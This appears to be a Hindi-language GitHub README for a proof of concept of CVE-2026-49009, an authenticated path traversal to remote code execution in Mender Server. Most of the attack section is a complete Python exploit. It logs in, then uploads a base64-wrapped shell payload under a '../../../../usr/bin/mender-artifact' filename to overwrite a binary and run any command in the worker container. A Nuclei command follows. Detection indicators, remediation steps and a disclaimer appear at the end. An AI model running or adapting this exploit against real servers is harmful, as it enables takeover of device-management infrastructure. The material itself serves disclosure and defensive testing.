### यह क्यों काम करता है

| कारक | व्याख्या |
|---|---|
| **अस्वच्छित पथ** | `../../../../usr/bin/mender-artifact` इच्छित `/opt/mender/app/` गंतव्य से बच निकलता है |
| **अतुल्यकालिक प्रसंस्करण** | `create-artifact-worker` फ़ाइल को किसी भी डाउनस्ट्रीम सत्यापन से पहले अतुल्यकालिक रूप से लिखता है |
| **बाइनरी अपहरण** | बाद के वर्कफ़्लो चरण सामान्य संचालन के भाग के रूप में `/usr/bin/mender-artifact` को लागू करते हैं |
| **कंटेनर पुन: उपयोग** | मल्टी-टेनेंट परिनियोजन में, एक ही वर्कर कंटेनर सभी टेनेंटों के लिए आर्टिफैक्ट्स को प्रोसेस करता है |

---

## अवधारणा का प्रमाण

> **प्राधिकरण आवश्यक।** केवल उन सिस्टमों पर चलाएं जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।

### पायथन एक्सप्लॉइट

<details>
<summary>▶ एक्सप्लॉइट कोड देखें</summary>```python
#!/usr/bin/env python3
"""
CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE
Discovered by: j0xh-sec (HackerOne)
PoC by:        INTELEON404 (Authorized security assessment)
"""

import argparse
import base64
import json
import re
import sys
import time

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def parse_args():
    parser = argparse.ArgumentParser(
        description="CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE",
        epilog="Discovered by j0xh-sec | PoC by INTELEON404"
    )
    parser.add_argument("-t", "--target",   required=True, help="Base URL, e.g. https://mender.local")
    parser.add_argument("-u", "--username", required=True, help="Mender username / email")
    parser.add_argument("-p", "--password", required=True, help="Mender password")
    parser.add_argument("-c", "--command",  required=True, help="Command to execute")
    return parser.parse_args()


def banner():
    print("\n[ CVE-2026-49009 ] Mender Server Path Traversal → RCE")
    print("[ Discovered by j0xh-sec | PoC by INTELEON404 ]\n")


def build_payload(command: str) -> bytes:
    """Encode command as base64 shell script; preserves mender-artifact stdin passthrough."""
    encoded = base64.b64encode(command.encode()).decode()
    return f"""#!/bin/sh
# CVE-2026-49009 payload — INTELEON404
CMD_B64="{encoded}"
CMD="$(printf '%s' "$CMD_B64" | base64 -d 2>/dev/null || printf '%s' "$CMD_B64")"
/bin/sh -c "$CMD"
exec /bin/sh "$@"
""".encode()


def main():
    args = parse_args()
    banner()

    target = args.target.rstrip("/")
    if not target.startswith(("http://", "https://")):
        target = "https://" + target
    host = target.split("://")[1].split("/")[0]

    print(f"[*] Target : {target}")
    print(f"[*] User   : {args.username}")

    # ── Step 1: Authenticate ──────────────────────────────────────────────
    print("[*] Authenticating...")
    try:
        r = requests.post(
            f"{target}/api/management/v1/useradm/auth/login",
            auth=(args.username, args.password),
            headers={"Host": host, "Content-Type": "application/json"},
            data="{}",
            verify=False,
            timeout=30,
        )
        if r.status_code != 200:
            raise RuntimeError(f"Login failed (HTTP {r.status_code}): {r.text.strip()}")
        jwt = r.text.strip()
        print("[+] JWT obtained")
    except requests.RequestException as e:
        raise RuntimeError(f"Connection error during login: {e}")

    # ── Step 2: Submit traversal payload ─────────────────────────────────
    print("[*] Submitting path traversal payload...")
    artifact_name = f"rce-poc-{int(time.time())}"

    args_json = {
        "filename": "../../../../usr/bin/mender-artifact",
        "dest_dir": "/opt/mender/app",
        "software_name": "demo",
        "software_version": "1",
    }

    files = {
        "name":                     (None, artifact_name),
        "description":              (None, "CVE-2026-49009 PoC"),
        "type":                     (None, "single-file"),
        "device_types_compatible":  (None, "qemu"),
        "args":                     (None, json.dumps(args_json), "application/json"),
        "file":                     ("payload.sh", build_payload(args.command), "application/octet-stream"),
    }

    try:
        r = requests.post(
            f"{target}/api/management/v1/deployments/artifacts/generate",
            headers={"Host": host, "Authorization": f"Bearer {jwt}"},
            files=files,
            verify=False,
            timeout=60,
            allow_redirects=False,
        )
    except requests.RequestException as e:
        raise RuntimeError(f"Connection error during exploit: {e}")

    location = r.headers.get("Location", "")
    if not location:
        print(f"[!] HTTP {r.status_code} — no Location header returned")
        print(f"[!] Response: {r.text[:500]}")
        print("[-] Target may be patched (≥ 4.1.1 / 4.0.2) or credentials lack permissions")
        sys.exit(1)

    job_id = re.search(r"/([^/]+)$", location).group(1)
    print(f"[+] Workflow submitted — Job ID: {job_id}")
    print(f"[+] Payload : {args.command}")
    print("\n[*] Command executes inside the worker container when the workflow completes.")


if __name__ == "__main__":
    try:
        main()
    except RuntimeError as e:
        print(f"\n[!] ERROR: {e}", file=sys.stderr)
        sys.exit(1)
    except KeyboardInterrupt:
        print("\n[*] Interrupted")
        sys.exit(130)

### Nuclei```bash
nuclei -t CVE-2026-49009.yaml \
  -u https://mender-server.local \
  -var [email protected] \
  -var PASSWORD='s3cret!'

---

## पहचान और संकेतक

### एप्लिकेशन / होस्ट

| संकेतक | विवरण |
|---|---|
| ट्रैवर्सल फ़ाइलनाम के बाद `Location` हेडर | सर्वर `../`-युक्त फ़ाइलनाम स्वीकार करने के बाद `Location` लौटाता है |
| संदिग्ध आर्टिफैक्ट नाम | पैटर्न: `cve-poc-*`, `rce-poc-*`, `pwn-*` |
| संशोधित बाइनरी टाइमस्टैम्प | वर्कर कंटेनर के अंदर `/usr/bin/mender-artifact` का टाइमस्टैंप बदला गया |
| अप्रत्याशित वर्कर आउटपुट | कंटेनर लॉग में आर्टिफैक्ट प्रोसेसिंग से असंबंधित कमांड दिखाई देना |

### नेटवर्क

| संकेतक | विवरण |
|---|---|
| `artifacts/generate` पर POST | `args` JSON में `../` अनुक्रम युक्त |
| प्रमाणीकरण + अपलोड जोड़ी | एक ही स्रोत IP से बेसिक ऑथ लॉगिन के तुरंत बाद मल्टीपार्ट अपलोड |

### Nuclei मिलान तर्क

टेम्पलेट सकारात्मक परिणाम लौटाता है जब:
1. `POST /useradm/auth/login` → `HTTP 200` + मान्य JWT (> 100 वर्ण)
2. `POST /artifacts/generate` → `HTTP 2xx` + `Location` हेडर मौजूद

एक पैच किया गया सर्वर (≥ 4.1.1 / 4.0.2) चरण 2 में ट्रैवर्सल पथ को `HTTP 4xx` के साथ अस्वीकार करता है।

---

## सुधार

| प्राथमिकता | कार्रवाई |
|---|---|
| **तत्काल** | Mender Server **4.1.1** या **4.0.2** में अपग्रेड करें |
| **प्रतिपूरक नियंत्रण** | क्रिप्टोग्राफ़िक आर्टिफैक्ट हस्ताक्षर सक्षम करें — डिवाइस छेड़छाड़ किए गए आर्टिफैक्ट को अस्वीकार करते हैं |
| **कार्यवाहक विकल्प** | API पहुंच को विश्वसनीय नेटवर्क तक सीमित करें; यदि उपयोग नहीं है तो आर्टिफैक्ट जनरेशन को अक्षम करें |
| **ऑडिट** | असामान्य `filename` मानों वाले आर्टिफैक्ट जनरेशन अनुरोधों के लिए लॉग की समीक्षा करें |

---

## समयरेखा

| तिथि | घटना |
|---|---|
| 2026-04-01 | Mender Server 4.1.1 / 4.0.2 फिक्स के साथ जारी |
| 2026-05-27 | CVE प्रकाशित; Northern.tech द्वारा सलाह जारी |
| 2026-05-27 | INTELEON404 द्वारा PoC प्रकाशित |

---

## संदर्भ

- [NVD — CVE-2026-49009](https://nvd.nist.gov/vuln/detail/CVE-2026-49009)
- [Northern.tech सुरक्षा सलाह](https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server)
- [OpenCVE प्रविष्टि](https://app.opencve.io/cve/CVE-2026-49009)
- [Tenable CVE पृष्ठ](https://www.tenable.com/cve/CVE-2026-49009)
- [Mender Server चेंजलॉग](https://docs.mender.io/release-information/release-notes-changelog/mender-server)
- [Mender Enterprise चेंजलॉग](https://docs.mender.io/release-information/release-notes-changelog/mender-server-enterprise)
- [INTELEON404/CVE-2026-49009](https://github.com/INTELEON404/CVE-2026-49009)
- [j0xh-sec/CVE-2026-49009](https://github.com/j0xh-sec/CVE-2026-49009)

---

## अस्वीकरण

> [!WARNING]
> **केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए।**
>
> यह प्रूफ ऑफ कॉन्सेप्ट सख्ती से उन प्रणालियों के खिलाफ उपयोग के लिए है जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपको **स्पष्ट लिखित अनुमति** प्राप्त है। अनधिकृत कंप्यूटर सिस्टम तक पहुंच कंप्यूटर फ्रॉड एंड अब्यूज़ एक्ट (CFAA), कंप्यूटर मिसयूज़ एक्ट (CMA), और दुनिया भर में समकक्ष कानूनों के तहत अवैध है।
>
> इस सामग्री के दुरुपयोग, क्षति, या अवैध गतिविधियों के लिए लेखक कोई जिम्मेदारी स्वीकार नहीं करते।

---

<div align="center">

**द्वारा खोजा गया** [j0xh-sec](https://hackerone.com/j0xh-sec) HackerOne के माध्यम से · Northern.tech को जिम्मेदार प्रकटीकरण  
**PoC द्वारा** INTELEON404 · अधिकृत सुरक्षा मूल्यांकन

</div>